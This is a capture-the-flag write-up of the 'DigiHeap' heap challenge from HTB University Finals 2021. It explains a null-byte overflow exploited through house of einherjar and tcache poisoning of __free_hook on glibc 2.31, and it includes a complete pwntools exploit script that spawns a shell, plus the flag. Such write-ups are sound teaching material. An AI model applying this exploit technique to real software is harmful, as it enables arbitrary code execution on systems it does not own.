DigiHeap - HTB University Finals 2021

tl;dr Simple null byte overflow, house of einherjar on libc 2.31

Initial analysis & Reversing

The binary was a 64-bit one with a menu driver, with options to add, edit, delete and view a monster. A monster struct contained 4 integer values for health, attack, defence and speed, and a pointer to a heap chunk which contained an optional description.

  • add -> The add option allowed us to enter an index less than 10, as well as 4 integer values, and a description of any size less than 0x1000, which would malloc the aforementioned size.

  • edit -> The edit option allowed us to edit the description of a monster at any index in use, and we could only do so once (checked with a global variable).

  • delete -> The delete option freed both the description chunk and the monster chunk of a particular index, and nulled out the pointer to the monster chunk.

  • view -> The view option printed the integer values for health, attack, defence and speed, and the description (if it existed), if the monster chunk of that particular index existed.

Edit had a clear null byte overflow, as if we entered size number of bytes, description[size] would be set to 0.

Exploitation

Most of the exploitation could be done using the description field, as this allowed us to allocate and free chunks of any size.

Getting Leaks:

To get a heap leak, we could simply allocate a couple of chunks of the same size, free them, then allocate another one, with only a single byte, say a as input. As our input was not null terminated, we could simply leak the tcache fd pointer (except the lsb, which is irrelevant), by simply viewing the chunk (at this point, it would still contain the free chunk’s metadata). Similarly if we allocated a chunk of size > 0x420, we could leak libc as well, by leaking the unsorted bin fd (main arena pointer).

Abusing the null byte overflow:

Now that we had leaks, we had to abuse the null byte overflow via house of einherjar and get allocation on __free_hook. To do this, we simply had to overflow the prev_in_use bit of a chunk, and set the prev_size of that chunk to point to a fake chunk we created, which would pass the safe unlink check (P->fd->bk == P && P->bk->fd == P), as well as the size vs prev_size check.

First we need to setup a fake chunk, using our heap leak. This chunk should looks something like:

Fake size (Same as `prev_size` of the `target` chunk)
Fake fd (pointing to itself)
Fake bk (pointing to itself)

Now this chunk would bypass the safe unlink check, provided this size matches with the prev_size of the target chunk

After this, we set up 3 0x110 chunks (the first one containing the fake chunk), and a 0x500 chunk after them. We need a chunk of size >= 0x420 to null-byte overflow into, otherwise it would go into tcache (tcache doesn’t allow coalescing). After this we allocate a temporary chunk (to avoid the 0x500 chunk coalescing with the top chunk).

Now our heap (relevant part only) looks like this:

0x110 (Fake chunk, bypassing safe unlink check)
0x110 (Tcache poison target chunk, call this `poison`)
0x110
0x500 (Null byte overflow target, call this `target`)
0x110 (Filler)

Then we edit the 3rd 0x110 chunk to set prev_size to point to our fake chunk (be careful with offsets here), and overflow the prev_in_use bit of the 0x500 chunk. Then we free the 0x500 chunk, which backward coalesces with the fake chunk (the first chunk in the representation above).

Now, the 0x800 chunk spans everything above the filler chunk, in the diagram above

After this, we can free a random 0x110 chunk, then the poison 0x110 chunk, so that tcache count for that size is 2, and now the poison chunk has an fd pointing to the previously freed chunk, so this sets up tcache poisoning.

Remember our previous 0x800 size chunk that now overlaps with the poison chunk? We can now request for an allocation from this (with a size > 0x110), and obtain an overlap with the poison chunk!

The rest of the exploit is a simple tcache poison. We have to first pad upto the offset of the tcache fd with junk, then overwrite the tcache fd pointer to __free_hook.

Now our second 0x110 allocation will be at __free_hook, overwrite __free_hook to system, free any chunk containing "/bin/sh", and we pop a shell!

Exploit script

#!/usr/bin/python

from pwn import *
import sys

remote_ip, port = 'docker.hackthebox.eu', 30692
binary = './digiheap'
brkpts = '''
'''

elf = ELF("digiheap")
libc = ELF("libc.so.6")

context.terminal = ['tmux', 'splitw', '-h']
context.arch = "amd64"
context.log_level = "debug"
# context.aslr = False

re = lambda a: io.recv(a)
reu = lambda a: io.recvuntil(a)
rl = lambda: io.recvline()
s = lambda a: io.send(a)
sl = lambda a: io.sendline(a)
sla = lambda a,b: io.sendlineafter(a,b)
sa = lambda a,b: io.sendafter(a,b)

if len(sys.argv) > 1:
    io = remote(remote_ip, port)

else:
    io = process(binary, env = {'LD_PRELOAD' : './libc.so.6'})

def choice(idx):
    sla(">> ", str(idx))

def add(idx, description = None, size = 0, val = 1):
    choice(1)
    sla("index: ", str(idx))
    for i in range(4):
        sla("value: ", str(val))
    if description is not None:
        sla("(Y/N): ", "Y")
        sla("Size: ", str(size))
        sa("description: ", description)
    else:
        sla("(Y/N): ", "N")

def edit(idx, description):
    choice(2)
    sla("index: ", str(idx))
    sa("description: ", description)

def delete(idx):
    choice(3)
    sla("index: ", str(idx))

def show(idx):
    choice(4)
    sla("index: ", str(idx))

if __name__ == "__main__":

    # Leak heap and libc
    add(0, "a"*8, 0x68)
    add(1, "b"*8, 0x68)
    delete(1)
    delete(0)
    add(0, "a", 0x68)
    show(0)
    reu("Description: a")
    heap = u64(("\x00" + re(2)).ljust(8,"\x00")) - 0x1300
    log.info("Heap : "+hex(heap))
    
    delete(0)
    add(0, "temp", 0x500)
    add(1, "temp", 0x10)
    delete(0)
    add(0, "a", 0x500)
    show(0)
    reu("Description: a")
    libc.address = u64(("\x00" + re(5)).ljust(8,"\x00")) - 0x1e4c00
    log.info("Libc : "+hex(libc.address))
    system = libc.symbols['system']
    free_hook = libc.symbols['__free_hook']

    delete(0)
    delete(1)
    add(0, "useless", 0x400)

    # Setup safe unlink check bypass
    fake = p64(0)
    fake += p64(0x325)
    fake += p64(heap + 0x18c0)
    fake += p64(heap + 0x18c0)
    add(1, fake, 0x108)
    add(2, "temp", 0x108)
    add(3, "temp", 0x108)
    add(4, "overflow", 0x4f8)
    add(5, "temp", 0x108)
    add(6, "/bin/sh\x00", 0x28)

    # Trigger null byte overflow
    payload = "a"*0x100 + p64(0x320)
    edit(3, payload)
    delete(4)

    delete(5)
    delete(2)

    # Setup tcache poison
    payload = "a"*0xf8
    payload += p64(0x111)
    payload += p64(free_hook)
    add(2, payload, 0x200)

    add(4, "tmp", 0x108)

    # Overwrite free hook
    add(5, p64(system), 0x108)

    # Free chunk containing "/bin/sh"
    delete(6)

    io.interactive()

Flag

HTB{h0us3_Of_D0ubl3_NuLL}